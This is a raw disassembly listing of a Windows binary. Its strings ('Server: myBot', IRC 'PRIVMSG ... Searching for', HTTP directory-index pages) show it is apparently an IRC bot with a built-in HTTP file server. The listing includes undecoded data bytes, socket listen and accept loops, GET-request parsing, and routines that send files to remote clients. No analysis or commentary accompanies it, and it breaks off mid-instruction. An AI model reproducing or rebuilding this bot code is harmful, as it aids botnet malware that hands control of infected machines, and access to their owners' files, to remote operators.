2D166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0E468156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0DC68FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337D4h, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337BC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337B468h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379C68h dd 8D61EB00h, 0FFFF5085h, 379468FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 3784680Dh, 40EB0043h, 0FF50858Dh dd 7C68FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 433764h dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 433744h dd 2F1E957h, 3CBF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373868h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43372468h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433720h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 43370Ch, 27BE9h, 50858D00h dd 68FFFFFFh, 433704h, 0D352E850h, 85590000h, 347559C0h dd 0D8BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0D068FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B8BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336B0h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368868h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43368068h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 433674h, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43365468h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364C68h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43362068h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 433604h, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35EC6817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35CC68FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A868206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C994h, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 43358Ch, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2670000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 call near ptr 71AB1AF4h nop push 1 nop call near ptr 2670ECAh test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA34 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_433824 ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337FC push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2740000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2730000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2680DCBh push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AB0 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 27008FEh mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2750000h push esi mov [ebp+var_330], eax nop call near ptr 26608E4h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A7C push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call near ptr 2680000h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 nop call near ptr 2670ECAh jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C call near ptr 2680925h nop push eax lea eax, [ebp+var_8C4] push offset unk_433A44 push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset 